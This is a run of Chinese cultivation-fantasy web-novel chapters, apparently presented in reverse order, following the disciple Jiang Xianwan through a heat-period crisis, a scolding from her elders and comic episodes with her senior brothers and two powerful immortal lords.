被太虚宗弟子莫名眼神狂扫几日,裴长安尴尬的引了同样尴尬的两个师弟,默默坐到另一棵树下。 走也不是,不走也不是。 林轻染非要来这处秘境看看,才肯回去,还没一说,就往外挤泪儿。 裴长安绝望的吐出一口气,他们刚往那一坐,身上明晃晃的万古宗亲传弟子服瞬间引起了骚动。 有人低声议论,“那不是万古宗的亲传吗?那个坐在裴长安身边的少女就是雾掌门的另一个亲传弟子,林轻染?” “听说她参加太虚宗弟子的炼丹大赛,异象频生……” 听着悉悉索索传来的讨论,林轻染脸色越来越难看。 瘟神? 扫把星? 这群没脑子的散修,懂不懂她是女主光环太强的缘故! 裴长安忧桑低头。 他出来这么多次,从来没觉得这般抬不起头,还有一种拔腿想跑的冲动。 可这些人……说的也没错啊。 一想到自从来到太虚宗,发生的种种,裴长安这几日心中十足胸闷,愈发觉得怪诞。 他视线不可避免的落在努力啃饼子的江献晚身上。 江献晚每次遇到林轻染都会比旁人……倒霉些。 紧接着,这种倒霉就好像自动反弹般,一向好运的林轻染,回回衰爆。 仿佛天生不合。 余光瞥见林轻染的表情,若有所思的神色,刹那转变为不可置信的错愕。 裴长安猛然出了声,“师妹!” 林轻染还来不及收敛好眼底的冷意,被厉声一喝,惊的咯噔扭头,便看到裴长安分外复杂的目光。 她才发觉自己方才对着江献晚露出的杀意,被他看尽眼底,脸色一白,慌张的低下头,湿着嗓子,小心翼翼道:“师兄。” 她很聪明。 懂得如何打消裴长安的疑虑。 果然,听到周围不好的讨论,裴长安还是心软了。 林轻染没吃过什么苦头,在宗门是人人艳羡宠爱的师妹。 如此被人肆意妄论,方才的反应勉强算…… 算什么? 裴长安想想,艰难的用‘自己或许还是苛刻了一些’的理由,强将心头的烦躁压回去。 他观察了几日,确实未曾发现林轻染有任何异常举动,但心中到底存了个疑影。 他们后一步离开太虚宗,林轻染不可能没有听到苏清流他们说要去秘境之事。 不愿直接返回宗门,非要跟着来凑热闹。 裴长安心中暗自对自己说‘一定要看好她’! 只能先温声安慰,实则警戒,“清者自清,无需自扰。” 林轻染心头一松,生怕自己好不容易点亮的美人图鉴再熄了,苍白着小脸乖乖点头。 只是在看到旁边围着江献晚的三个少年,还是心酸的不是零星半点。 苏清流他们明明该对她心生好感。 可到了现在,三个少年从头到尾无一人分给她一记眼神。 花不休原本该成为她的另一个师尊,现在更是被江献晚抢了去。 尤其遇到江献晚之后,系统莫名其妙出现几次故障。 恰好他们主动出了太虚宗,没了庇护,她当然不肯放过这么好的机会。 再者,这不起眼的秘境中会出现稀有的宝物。 躲在她识海的系统道,“今日是个很好的机会,想办法夺了她的灵根和修为。” 林轻染眸光微转,迫切道:“那苏清流他们?” 她不想放弃刷任何一个美人图鉴好感度的机会。 “先别管他们!我有一种感觉,只要江献晚死了,一切都会回到正轨!” 奶妈似的照顾了她几年的系统,瞬间生出一股后悔的暴躁。 它不明白自己脑子一抽,挑来挑去,怎么就绑定了这么一个瞻前顾后,沉迷美色的少女! 成天就知道问它怎么讨男人欢心! 它是什么妓院里的老鸨吗! 第 95 章 哄师尊 迎着花美人那双眼尾微微上挑,不含任何情绪的眸子,江献晚皮一紧。 下意识退后一步。 “啊,啊哈哈。” 她呵呵干笑两声,僵硬的抬起一只手,努力挤出诚意十足的狗腿笑容,“师尊尊,好巧啊。” 花不休不语,垂下睫帘。 江献晚:“……”莫名,她感受到一种诡异的压力。 不过,听着半山腰铁长老撕心裂肺的破口大骂声,生怕再被抓回去的苏清流和白子夜等不及,齐齐偷偷从背后轻点了她一下。 加油,搞定花美人。 江献晚是唯一的女徒弟,还是有点微薄的宠爱在身上的。 希望花不休仅存的一点点良心,还没有泯灭于世间。 想到铁长老手中那把挥的虎虎生风的戒尺,和怒吼声都破音的程度,江献晚硬着头皮飞上枝头。 她一脸乖巧无辜的坐到花不休身侧,掏出一盆荔枝,三下五除二剥了一颗。 笑容(狗腿——划掉!)可掬,喂在美人师尊唇边。 “师尊尊,您看这荔枝又白又甜。” “含着徒儿满满登登的心意啊!” 花不休依旧不说话,也不看。 手中的书卷侧歪了些,‘怀了剑尊的孩子后,小师妹带球跑’一行书名,恰巧正对江献晚。 江献晚:“……”默默缩回手。 却见花不休剔粉的指尖,慢条斯理,挑起一页。 ‘她逃他追,她插翅难飞’,加粗加大的标题,再次映入眼帘。 江献晚:“……”默默缩脖儿。 那人指尖又是轻轻一划,仿佛点过泼墨山水,无意般掠过两个名字。 花焾。 林染染。 江献晚:“……”默默绷紧皮。 那是她还没来南境,没来破山头时写的啊! 江献晚冷汗流了一盆,心虚的偏开一点视线,果断把自己当作瞪眼瞎。 举着荔枝重新抵在他唇边,干巴巴笑道:“师尊,您,您不吃吗?” 她一边悄悄从睫毛下看他的神色,心中只有一个念头。 完了。 花美人生气了! 还是大气。 竟然笑都不笑,更不骂她孽徒,瞅瞅这小表情,根本就没有表情,更没分给她一个眼神。 江献晚冷汗直冒,壮着胆子轻轻撞了撞他的肩,声音拐了八个弯,掐着嗓子嗔道:“师尊尊~?” 花不休一晃,面无表情,仿佛那本书就是他的全世界。 江献晚:“……” 顷刻间,江献晚脑子急转十八圈,火急火燎的反省自己干了什么天打雷劈的事,惹的花美人如此生气。 性命攸关之际,还真被她想出来了。 扒开书凑近,眼巴巴道:“徒儿不该去黑市。” 以前花不休也从来不管啊。 管它呢,认错就对了。 书被一只纤细若雪的手扣住,花不休仍不动……缓缓阖眸。 江献晚:“……” 不是这件? 还是不止这件? 她弱弱继续试探,“徒儿,不该……旷课?” “徒儿不该……偷跑?” 花不休:“……” 江献晚:“……” 眼看铁长老的怒吼声越来越近,江献晚一个激灵,如梦初醒,猛地揪住了那片青色的衣袖,“师尊守了徒儿四日,徒儿……徒儿真的很开心!” 她确实很开心。 花不休一直没走,她是知道的。 花不休与云为泽的对话,她也是知道的。 江献晚不自知的将手心里那片柔软的衣料越揪越紧,眉眼因想要赶紧逃跑的急切一下子软下来。 “师尊。”她轻声道。 仿佛彷徨无措的幼鹿寻到依靠,含着三分小心翼翼,和猫儿偷到荤腥的隐隐笑意。 那美若夜下海棠的男子睫毛轻轻一颤,终于有了反应。 偏头看了她三秒,薄唇轻启,将她指尖的荔枝肉轻轻咬过来。 却在听到孽徒羞涩的趁势而上,厚着脸皮说“吃了这荔枝,那师尊能不能再答应徒儿一件……”时,舌尖一顶。 江献晚早有防备,眼疾手快的捂了他的嘴,将荔枝堵回去,强迫他吃。 一眨眼,笑的狡黠,“徒儿不管,师尊既吃了徒儿的东西,就再多心疼心疼徒儿。” 说罢,不等他反应,跳下树杈,同早已暗自蓄势待发的两个少年,一溜烟跑了。 花不休没拦三个孽徒。 他垂着蝶翼似的乌睫,锁骨凹陷处盛满日光,蒙覆玉色。 一侧面颊微鼓,沾了汁水的唇被凌虐的微红。 分明似竹节般的骨指捏了书卷缓缓扣在脸上,耳尖绯色在斑驳的光晕中,渐渐色若口脂。 白子夜收回视线,嘻地笑了一声,“难得,花美人今日还算有点良心。” 远远看到狗狗祟祟,撅着屁股刚从狗洞钻出去的林玉锦,立刻跟上。 苏清流长腿一抬,目不斜视,悠然踏过林玉锦的后背,翻看玉简上的信息。 “有个规模不大的秘境出现,入口还未开,位置不算太远,咱们去的话半日就能赶到,去不去?” 闲着也是闲着,怎么看都比写宗规强,江献晚从弹起半拉身子的林玉锦身边经过,“去,大师兄,你带我,背痛。” 白子夜捧脸,踩着林玉锦的背走过,“小师妹,不坐二师兄的轮盘吗?” “回来再坐。” 趴在地上,背上顶着两只鞋印的林玉锦:“……” 四人花了半日时间来到启元镇。 可能因为秘境小的缘故,放眼望去,乌泱泱全是散修。 为防止不必要的麻烦,四人在青衣外套上一层黑衣。 毕竟,凤仪剑尊一口气收了四位亲传,最近传的还是挺沸腾的。 当然,随着凤仪剑尊云游归来的火热话题,他们凤仪台统一的青裳就显得很是惹眼。 尤其苏清流。 风头最盛。 听说此人天生剑骨,资质万中挑一,在太虚宗弟子大比上打败了同是天生剑骨的时云霄,是为太虚宗双绝,成了不少女修的择偶对象。 在听到另一棵树下,一个散修讲到花不休云游时被男人偷窥沐浴。 白子夜端着打包来的甜食吃的努力,含糊不清分享道:“听说追花美人的男男女女魔魔妖妖,绕两境三域一圈。” “那些人眼睛指定被腚坐住了。” 林玉锦一手大碗油泼辣子宽面,一手葱油饼,吃的头也不抬。 “真想叫他们看看花美人的真面目。” 暴打徒弟,那是一出手就往死里揍。 连江献晚这个唯一的女徒弟,都没有受到过花不休的区别对待。 第 94 章 傻笔 两个长老气的险些原地撅过去,铁长老立马拿出传音玉简,连声怒吼,“门关好了!狗洞也堵上!” “别让他们跑了!” “我今天非打断他们的腿不可!” 慢一步的逃课四人组看着蹲在狗洞旁,笑眯眯望着他们的古长老,转身就走。 铁长老和刘长老一人拎两个,拎小鸡似的把四人提到演武场,当众处刑,以作警示。 铁长老脾气最为火爆,一声中气十足的暴喝,惊的仙鹤灵羽振翅齐飞,在太虚宗上空来回盘旋。 “宗规百遍!再写一万字的检讨!待会当众念!” “少一个字我拧了你们的狗脑袋!” “江献晚!你看什么看!给我翻上去!” 课堂和演武场的弟子纷纷探头,热烈吃瓜。 楚微凝从窗户中探出大半身子,笑的肩膀一耸一耸的,“凤仪台牛逼啊,又被罚了,话说这是第几次惹长老生气了?” 祝茵曼同样姿势,远远朝她一比划,嘎嘎幸灾乐祸,“自认回来,大小加起来,第八次。” 时云霄和秦秦一块探头,他很是钦佩,“厉害厉害,连铁长老的课都敢逃,实乃宗门之星。” 秦秦:“……” 另一个课堂的李微云,远远伸出头,“翘课头头,还得是江献晚啊!我都习惯了。” 凤仪台亲传,神色恹恹,整整齐齐翻上墙根。 白子夜一手撑地,另一只手慢悠悠地摸出一根毛笔,“老二,这是我和小师妹在黑市花重金,特意为你买的笔。” 没想到这么快就派上用场了。 待会他肯定会哭的很大声吧。 嘻…… 想听。 林玉锦立刻喜滋滋地接过,“重金?那我可得好好收着。” 他捏着毛笔左看右看,越看越喜欢,宗规写的那叫一个潇洒飘逸,熟稔至极。 白子夜和江献晚对视一眼,咧着嘴无声地笑。 苏清流换了一只手,用眼神询问:笑什么? 白子夜传音,“嘻!那支笔是摊主送的赠品,写出的字一炷香后会消失,我和小师妹试过了。” 苏清流:所以,你俩搁这玩他呢? 不过,玩的好。 江献晚一脸淡定。 没事,小师兄最多抱着纸哭两声就好了。 然而,一炷香过去,两柱香过去,三人沉默地看着林玉锦手边一沓纸张,陷入沉思。 不是说字会消失吗? 它们为什么还没消失? 不仅如此,那些密密麻麻的文字,还散发着淡淡的金光。 看样子,被林老三捡到大漏了。 这个情况,就连拿着戒尺,从课堂上骂骂咧咧出来,再次来监督他们的铁长老都发现了。 他一言难尽的拾起林玉锦手边抄写的宗规,再看他手中的笔,久久无言。 “你们为什么用这么变态的眼神看我?” 正奋笔疾书的林玉锦,终于发现几人看他的古怪眼神。 “铁长老,我写的不对吗?” 铁长老欲言又止,“这笔从哪里来的?” 林玉锦得意洋洋,“我二师兄和小师妹送的!” 白子夜:“铁长老,这笔……” 铁长老呵呵一笑,露出一个看破一切的表情,“你们用这支笔写出来的字会消失,才故意捉弄他的吧?” 江献晚:“您怎么知道?” 难不成真是小师兄命定的神笔? 林玉锦:“啥意思?” 铁长老没好气地瞪他一眼,“这支笔,它叫傻笔。” “不是,铁长老,您怎么还骂人呢!”林玉锦嚷嚷道。 “你这个棒槌!难怪这支笔你能用!”铁长老一戒尺抽在他屁股上,“这傻笔唯有心境至纯之人,方能使用。” 说白了,就是蠢到一定程度,傻人配傻笔。 不过,此笔确实是个极难得的稀罕灵器。 也算捡到宝了。 这么一说,苏清流三人懂了,怜爱的目光一致落在林玉锦身上。 原以为林玉锦能得到一个什么惊天动地的灵器,结果,是傻笔啊。 林玉锦琢磨了一会儿,终于琢磨过味来,他抓着江献晚让她写。 果然,一炷香后字迹消失。 他眼中的光一下就熄了,似乎颇受打击,颤抖着声音喃喃道:“原来铁长老说的是真的,我写的字迹没有消失,但我们之间的爱却像一阵抓不住的风,就这么冰冷无情地消失了……小师妹,你竟然跟白老二合伙欺负小师兄!” 林玉锦泪洒当场,从墙根翻下来,捂着脸嗷嗷大哭着跑了。 铁长老:“……” 算了,看在傻孩子这么可怜的份上,今日暂且饶他一回。 苏清流三人:“……” 不是,就正大光明的逃罚逃课了? 不是说傻吗? 这明显精的不得了啊! 剩下三个,嫉妒的笔都要轮冒烟。 江献晚写的手都在哆嗦,开始怀念破山头的日子,咬牙低吼道:“这日子没法过了!” 见铁长老骂骂咧咧去授课,白子夜直接将笔一丢,漂亮的脸蛋一片狰狞,“不过了——!” 苏清流死死盯着手边一摞纸张,素来泰山不崩的表情很是难耐,“三千八百五十六条宗规。” 三人对视一眼,从彼此的眼中看出绝望……还有坚定不移的什么。 江献晚‘咔嚓’一声,单手将毛笔掰折,声音坚定,一字一顿,恶狠狠道:“我、要、判、出、宗、门!” 这亲传弟子,谁爱当谁当! 散伙! 十几息过后,再次出来的铁长老猛然爆发出一阵怒不可遏的嘶吼声—— “小兔崽子!” “我扒了你们的皮!” 当然,江献晚他们虽然听到了,但……跑的更快了。 就在他们被狗撵似的,狂奔到山脚下。 远远看到树杈上散漫卧躺,一条长腿微屈,妖颜若玉的美人,三人反射性绷紧脊背,露出警惕而绝望的表情。 花不休枕着一条手臂,手执一卷书册。 青衣浸在细碎斑驳的光晕中,镀上一层晃动的色泽。 眉心火流纹潋滟,缱绻的睫毛投落两团剪影,淡淡乜了过来。 端的风华绝代,岁月静好。 只是,当看到那书皮上明晃晃的‘怀了剑尊的孩子后,小师妹带球跑’一行大字。 苏清流和白子夜同情自己的同时,更同情的目光一致投向江献晚。 小师妹,你今日……可能活不成了。 江献晚:“……” 她好像……是有点快死了。 第 93 章 您就从了我吧 鼻尖的香气愈发勾魂摄魄,催的身侧人魂智想要跌入泥泞,云为泽看着少女白皙的指,无助的紧紧捉着他的衣襟,轻抿了唇瓣。 垂落睫羽……加大力度。 “唔……”江献晚热的同时,疼疯了,恨不得打两个滚,又或者以下犯上给云为泽一捶,“帝尊,我是人,我是人啊!” 不是一头死猪! 云为泽浅笑,笑意晃眼,“我怕你不是人。” 江献晚:“……” 江献晚缩了缩指尖,涣散的眸子映着云为泽侧颈洇出血的牙印,心虚地松开微敞的衣襟。 “那两境和三域还有和好的可能吗?” 云为泽:“无所谓。” “妖域自己还乱着,不足为惧,界域和魔域整日到处乱窜也不知道瞎忙什么。” 江献晚此刻想到了风回雪。 “那他们若是愿意与两境交好呢?” 云为泽笑了笑,顺便拍开她狗狗祟祟,再次越界摸来的手,“看心情。” “那三域联手呢?” “打。” 江献晚:“……” “以后若是两境三域开战,我通知你,你打头阵。” “谢谢。” “不客气。” “帝尊,听说两境大比,表现最好的还能得到您奖励的灵器,是什么灵器?” 江献晚其实全然不知道自己在说什么,只知道自己最好是一直嘚吧嘚吧说下去。 云为泽勾唇,卖了个关子,“你努力,是好东西。” “现在能看看吗?” 云为泽拍开她的手,拒绝走后门,“不。” “那您去吗?” “否。” “那可真够无聊的。” 云为泽轻唔一声,却在少女紧接下来的话中,面容一僵,神情错愕。 他艰难地转眸,望进那双氤氲如雾的眼睛,心音一止,而后又是噗通一声。 黑色花骨朵在两人看不到的地方,悄无声息疯涨,云为泽慌张将手指一垂,指尖灵力强行将快要攀沿上床榻,隐隐绽放的花苞尽数压回去。 他落了半扇睫帘,眼角是不被窥探的狼狈和茫然。 声音低沉,有些暗哑,“江献晚,你说什么。” 江献晚瞳孔彻底失焦,理智轰地坍塌,宛如绷到极致的琴弦,顷刻间抻裂。 无所顾忌跳进火海,沦落于身体本能,翻身骑上。 双手大力反扣了云为泽的骨腕,压在头顶,火急火燎,凶狠俯身,胡乱啃上那双诱人的薄唇,粗鲁的辗转反侧。 一只手腾出,撕开身下人本就抓松散的衣襟,模糊的嗓音无不是潮湿而崩溃的哭音,“帝尊,您就从了我吧!我给您钱!” “多少都成!” 云为泽:“……” 江献晚被折磨四日,春潮期结束的一瞬间,灵力重新流淌四肢百骸,充盈整个丹田。 抽空的力气随之回归,她顶着红肿的额头,刷地睁开空洞麻木的双眸,“我觉得我现在可以打死十头牛。” 云为泽倦懒地支颐起半边身子,抚平皱巴巴的衣裳和凌乱的墨发,轻声道:“那你可真牛。” 他走了两步,低头嗅了嗅衣袖,忍不住回眸看向咬着一根发带,对镜束发的少女。 耳尖泛起滚烫的绯色,无声咬了咬唇肉,缓慢收回视线,推开房门。 便……对上三个虎视眈眈,恨不得吃人的少年。 花不休长身玉立于花树下,肩头花瓣零星,不知站了多久,仿佛未曾挪动过。 面无半点异色,目光缓缓一低,从那双被凌虐的有些红肿破皮的唇瓣,定格在高高交叠的衣襟处。 张牙舞爪的痕迹,像是凶狠的小兽,急不可耐留下斑驳齿印。 他双唇紧抿,眼底似有什么流沙般崩塌溃散,青衣若浪,无风自动。 云为泽:“……哥。” 花不休偏开视线,神色淡到极致,拢在阔袖中的指压的泛白,青筋脉络根根崩突。 他说。 “滚。” 云为泽抿了抿唇,方抬起一只脚,林玉锦嗷地一声惨叫,“小师妹,你脑袋怎么大了两圈!” 云为泽步履稍稍一顿,再抬腿时,略快。 江献晚用红肿的手,捂上同样红肿的脑袋,眼里含着痛苦的泪花,“帝尊打的。” 四人:“……” 林玉锦结结巴巴,“为,为什么?” 江献晚余光飞快的偷瞥一眼那道一动不动的青影,心虚的垂下脑袋,装作很忙的样子,低头理衣裳。 还能为什么。 因为她总是忍不住手贱,不仅手贱,还强啃帝尊,不仅强啃,还撕坏了帝尊的衣裳,差点把南帝尊给扒光强睡了。 云为泽不是打她的手,就是给她一个脑瓜崩。 正阖着纤长睫毛的花不休慢慢抬眸,视线触及江献晚发中的乳白骨簪,转身消失在原地。 江献晚:“……” 花美人怎么突然跑了? 江献晚站在原地踌躇,还有一种突然生出的无措。 在院子里蘑菇似的蹲了几日的林玉锦,按耐不住寂寞,见花不休飘然离开,立刻举手提议,“咱们出去溜达溜达?” 白子夜显然也是这么想的,“我新买的阵盘想找个地方好好试一试。” 这几日手痒的不得了,又不敢发出任何动静,更不放心离开。 苏清流瞅他俩。 确定不是因为旷课四五日怕被长老罚才想跑? 花美人为了防止有人打扰,用结界将凤仪台一罩,他们三个压根没想起来上课一回事,更别提花美人,他绝对不会替他们给长老说休课! 江献晚无所谓,红着眼睛,一握拳,“我要去挑了时师兄!” 她体内的灵力快要憋炸了,此刻觉得浑身有使不完的牛劲,迫切的想找人练手。 四人说走就走,风风火火冲出院子……被铁长老和刘长老堵在了大门口。 两个长老笑的那叫一个和善,一人一句,格外的温柔。 “哟,这不是咱太虚宗地四位小祖宗嘛,这是又要揍嘛啊。” “翘了四天半的课,看起来气血很是充足啊。” “需要再休息几日吗?嗯?” “瞧这一个个,小脸通红,还挺康健。” 两人说着说着,脸跟翻书似的,刷地同时一变。 “逃课逃出瘾了是吗?” “小兔崽子!你们给我爬过来!” 逃课四人组:“……” 林玉锦忽然仰头,“哇塞!帝尊!” 铁长老和刘长老神色一变,连忙朝林玉锦看的方向躬身。 等他们表达过敬意,再抬头,哪里还有四人的影子! “胆大包天的兔崽子!竟敢拿帝尊耍我们!我今天要是不抓住他们我跟他们姓!” 第 92 章 讲故事 江献晚:“……那,您先帮我碎了,人以后再说?” 云为泽静眼瞧着衣袖上那双纤白的手指,唇角噙着三分莫名笑意,“怕你师尊责罚?” 就不怕他知晓。 江献晚:“……” 真别说,云为泽一下子说到她的痛点了。 花不休若是知晓来龙去脉,定然先拿火来烧她。 江献晚不自觉将他衣袖攥出深深浅浅的褶皱,吐出一口热气,痛苦承认,“帝尊助人为乐,定不会背后打弟子小报告。” 云为泽轻“唔”一声,“南帝尊从不助人为乐。” “我倒觉得你天不怕地不怕。” “留着,好长记性。” 江献晚:“……谢谢您啊。” “不客气。”云为泽轻轻拍开摸到腰腹间的手,“倒也不必用这种谢法。” 江献晚:“……” 她难耐的动了动,收回不老实的手,狠狠咬了一下指节。 嗓音是被痛欲交织,折磨疯的泣音,“帝尊,您给我讲个故事听吧。” 转移转移她的注意力。 云为泽偏眸看她,眼眸在羊角灯晕开的烛火中,藏着几不可察的鎏金碎屑,“南境帝尊非我不可,讲这个如何?” 他挑灯看了一夜。 唯独不喜欢女主的名字。 林暖暖。 江献晚:“……” 没想到有朝一日舞到正主面前,她一头撞死的心都有了。 双手难以控制,颤抖着死死揪紧一片素白的衣料,咬牙,“这题我会,换一个。” 云为泽也不难为她,或许看出她急需找点事情转移注意力,果然同她娓娓讲起故事来。 “三百年前玄古大陆分南北与虚古三境,魔妖界为三域,虚古境钟灵毓秀,力压两境,占据大陆中心,又称中州,彼时有灵休帝尊独尊一方。” 他从睫毛下瞧着江献晚支起一点耳尖,指尖无意识的顺着他的袖口往这边攀,不紧不慢,“后来,界域与两境两域大战,中洲跟着热闹。” 云为泽叹息一声,“那一战发生在中洲,南北两境帝尊与妖帝魔皇皆陨落在那场大战,灵休帝尊与界皇不知所踪。” “玄古大陆重新洗牌,中州乃必争之地,神仙打架,生灵涂炭。” “十几年的战火连天,新的妖帝魔皇相继继位,三境化作两境,由我与帝隐掌管,至此,休养生息。” “我的灵泽之树与帝隐的灵墟,便是在中州偶然寻到的机缘。” 云为泽见她满脸汗水,脸颊熏熏然酡红,有努力在听,视线落在横在他腰腹上的一截雪白小臂,慢慢看向头顶青纱帐。 侃侃继续道:“中州地势广袤,埋骨无数,人魔妖尸山铺就,一步一冤魂,因逝者怨气滔天,死气遮云,很快便成了难以踏足之地,再往后,外围由南北两境弟子共同镇守。” 说到这里,如花隔云端的南帝尊微微敛了眉。 虚古境死气厚积,他与帝隐和凤仪联手,也只能镇压一二。 后来两境弟子建起数座灵塔,而灵休帝尊的厄弓便是阵眼,其中生灵才得以缓慢恢复延续。 只是,那十几年的战火连天,终是伤了根基。 重开中州,还需要些时间。 云为泽三言两语便讲完了三百年的玄古大陆历史,一看就不擅长讲故事。 江献晚只能主动找话题,“界皇同两境两域开战,中州为何不坐享其成?” 说到这,云为泽露出一丝古怪的神色,“你听过世人对界皇的评价吗?” “疯狗界皇?” “嗯。”云为泽拨开她面颊的湿发,举袖又擦了擦她的面颊,“曾经其实并无界域,界皇横空出世,拳打南北两境,脚踢妖魔两域,吞了不少地盘,便有了界域,与中州鼎足相立。” 江献晚由衷道:“那界皇还蛮厉害的。” 界域与其他两境两域不同,人魔妖皆有,界皇能治的这些人魔妖服服帖帖,手腕可想而知。 自三百年前界皇失踪,便由人魔妖三王共同掌管。 “是很厉害,渡劫第一人,不然也不会惹的两境两域联手。” 云为泽轻轻扣了她乱动的手,“不过名录记载,界皇从未找过中州的麻烦。” “为什么?”江献晚一边惊讶道,手不自知的摸向硬邦邦的腹部。 云为泽睫毛垂落半扇,凝在那只纤细白嫩的手上,重重一拍,“野史记载,界皇与灵休帝尊有不可言说的关系。” 不过,野史大多可信。 “界皇不是无情和杀戮道同修吗?” 想到什么,江献晚有些好奇,“您见过界皇和灵休帝尊的样子吗?” 她在书中曾见过那一身烫金纹黑裳,露着小半张脸的灵休帝尊的图册,实乃天人之姿。 而那位传说中的疯狗界皇,除了疯如恶狗四字评语,画像未曾留传。 “并未。” “灵休帝尊果真与界皇有情?” 云为泽呼吸有些紊乱,捉了她两只手腕,“莫要乱动。” 见她白嫩的脚难耐的蹬了蹬被褥,踹的他的袍角跟着乱,继续答疑解惑道:“传言灵休帝尊亦正亦邪,性子古怪。” “爱好可能……” 他话音忽然一转,“我说了这么多,该你了,你和帝隐如何认识的?” 江献晚模模糊糊顺着回答,“我在撵鸡,被雾渺看到了,然后带回去测了灵根,就被打包送到了帝隐床上。” “你应了?” 云为泽微微蹙眉,江献晚的性子,不应该会答应。 江献晚在他掌心胡乱挣扎着,“我当时还没有修为,也没钱,饿了四天,受了内伤。” 云为泽默默勾出两只掌心中的一缕乌发,中肯点评,“那你还真是饿了。” 江献晚:“……” 她脑中不由自主浮现一具寂冷如月,一袭雪衣遮掩了狂暴力量的身躯,神魂都在叫嚣着失据。 不得不说,虽是交易,可那些陌生而又蜇的灵魂战栗的极致愉悦,都是帝隐带给她的。 她以为时间久了,就想不起来了,可后来每次的春潮期,脑子里想的……都是那个人带给她的体验。 江献晚很热,热的泪水从眼角不断滑落,犹不自知。 “帝尊……我……” 她受不了了! 江献晚晕红的面颊烧的滚烫,一双眼睛仿佛浸着湿淋淋的春水,脆弱而涣散。 第 91 章 哪六个 云为泽方一踏入,勾缠的异香如蛛网般密密匝匝,瞬间将他泼裹。 便看见羊角灯朦胧的光晕中,发丝散乱,仅着凌乱里衣的身影盘膝端坐于阔榻。 他脚步稍顿,挑开青纱帐,这才看清江献晚的状态。 她浑身凝着一层厚厚的冰霜,柔软的被褥亦是因符纸的作用,覆上透明冰层。 裸露的皮肤被冻的惨白泛青,唇却红的宛如胭脂,眉也蹙着。 无尽的灵力还在拼命往她体内挤,又好似石沉大海,沟壑难填。 云为泽叹了一声,又仿佛是错觉。 五指虚虚一握,一件长袍将她从头到脚包裹,指尖触及眉心的刹那,冰层立消。 见她要动,低声道:“凝神。” 江献晚长睫轻颤着,由着云为泽温热的额头轻轻抵了上来。 然而,当属于男子身上清浅的干净气息随之而来,还是挣扎了一下。 她想,她很想。 此刻,云为泽对她来说就像沙漠里的一捧冰水。 心神骤然打乱,本能压倒了理智。 江献晚推抵在他肩膀上,涣散到极致的眸光透出一股凶狠,只手将他摁在榻间,发泄般一口咬了下去。 腰腹一沉,侧颈传来滚烫潮湿的痛感,随后是急不可耐啃舐的举动,云为泽猝然屏住呼吸,显然愣了愣。 暖玉般的指轻轻擒了她的后颈,低低轻笑,“胆子不小,连吾也敢咬。” 看来,他低估了春潮期的威力。 江献晚一双湿漉漉的眸子布满凌乱的雾气,眼瞳烧的焦灼,含着泪,扩散到极致。 她意识里很清醒自己的举动有多惊骇,却扛不住身体阵阵推叠的热意,催使她想要靠的更近一点。 强忍着烧成灰烬的理智,一点点松开牙齿,“出去。” 云为泽侧了身,顺便将她翻下,掌心压着她的后脑勺,重新抵过去,“我若出去,你就死了。” 想了想,不知是宽慰她还是自己。 “就,别把我当回事。” 额头贴额头的瞬间,一股强大又似乎带着清凉的灵力输送进江献晚经脉,包裹住她的丹田。 那些正无头苍蝇般,横冲乱窜的灵力,被一缕灵力牵引着,强势的缓缓压缩进元婴中。 江献晚失神的眸子微微转动,望进一双清澈而风平浪静的眼眸,像是望着万载死寂的海。 心绪不合时宜恍惚了一瞬。 此人,骨子里的冷漠,帝隐远不能及。 此刻却神态专注,一边耐心的安抚那些躁动的灵力,并借着还在不断涌来的灵力尝试为她拓宽经脉,凝练识海。 “现在是很好的机会。” “要吗?” 不用云为泽多说,江献晚已经有了决断,甚至连春潮期带来的极难容忍的燥热,仿佛也消失了一些。 “要。”江献晚唇瓣一张,毫不犹豫,“都给我弄进来。” 主要是她觉得疼点可以压制住燥热。 在发情和发疼之间,江献晚毅然决然选择后者。 云为泽轻掐着她后颈的手指略微僵硬,仿佛被火燎到的幼鹿,浅色的眸子掀起一片晃动的光影。 睫毛翕动,几乎可以触碰到江献晚的睫毛。 他们中间隔着一人宽的距离,额头却以一种很亲密的姿势相贴。 云为泽落下眼帘,模糊的声线落在耳畔,有些沙哑。 “会很疼。” “我不怕,来。” 江献晚自然知道这是个好机会。 云为泽兀自看了一会儿她红霞覆盖的面庞,阖目。 江献晚瞬间倒抽一口气,疼的飙出泪花,身子颤抖,哆嗦着抓上他的衣袖,“您您倒是轻点啊。” “罚你咬吾。” 江献晚:“……你活该。” “你也是。” “呜——!帝尊!” 云为泽睫毛一颤再颤,拍开她蠢蠢欲动,隐隐往别处摸去的手指,淡定道:“我怕你占我便宜。” 江献晚:“……” 咬紧牙关,默默缩回被打红的手。 她以为这般强烈的痛感,可以压制春潮期带来的煎熬。 没想到现在是又疼又想要。 尤其面对的是如此如花似玉的一个大美人。 江献晚偷偷掀开眼皮,看了一眼那张颠倒众生的脸,忙闭紧了,咽了咽口水,“帝尊,能换个姿势吗?” 这样头贴头,搞得她欲火焚身,恨不得化身为色狼。 云为泽退开一点距离,攥上她的手腕,面朝上,墨发铺满枕褥。 一时间分不清是谁的。 “可以。”他轻声道。 江献晚有些无语,“那您刚才贴我头干嘛?” “眉心三寸为神识所在。”云为泽认真地回答。 这种效果出奇的好。 他抬手,素白衣袖随动作落在江献晚脸颊,江献晚下意识伸手去抓。 云为泽收回手,连带着袖上坠的手指一起收回来,捏着一根乳白的发簪,“这支簪子,哪里来的?” 江献晚见簪子被他老老实实抓在手中,勉强逼出一丝清明。 怕这玩意是个什么追踪器或是不好的东西,忍着烧穿肺腑的灼热,将在黑市碰到的那个神秘少年,又莫名其妙缠上她的事一句带出。 云为泽笑的淡若云烟,似乎并不在乎她是否去了黑市,语气又像不是那么一回事,“晚晚,说具体。” 饶是江献晚正身处水深火热,还是察觉到一种难以言喻的压力。 她已然热的神魂颠倒,理智反复在崩溃的边缘来回蹦跳。 为了转移一下注意力,勉强将视线从那双浅淡诱人,一看就很好亲的薄唇上挪开。 恹恹道:“我被人撞了一下,不小心撞到一个少年,他要我以身相许,我说我许了六个,许不了,他要我考虑考虑。” “我说行,然后,这破簪子就赖上我了。” 云为泽将簪子重新插回她发间,声线低缓,“哪六个?” 江献晚:“……” 云为泽似乎也不在意她答不答,悠悠叹气,“我开始同情帝隐了。” “运气不错,一张嘴惹上一位难缠的主。” “能看出这根簪子的主人是什么来路吗?” “不能。” 江献晚偷偷去掐大腿,“那它有问题吗?” “无。” 江献晚默了片刻,“这簪子能碎吗?” 云为泽像是看她一眼,又像是没看,嗓音莫名,“碎不碎此簪,人总归是赖上了。” 第 90 章 我可以帮她 “甚至什么?”白子夜见他羞答答掩面,竖起耳尖,真诚询问。 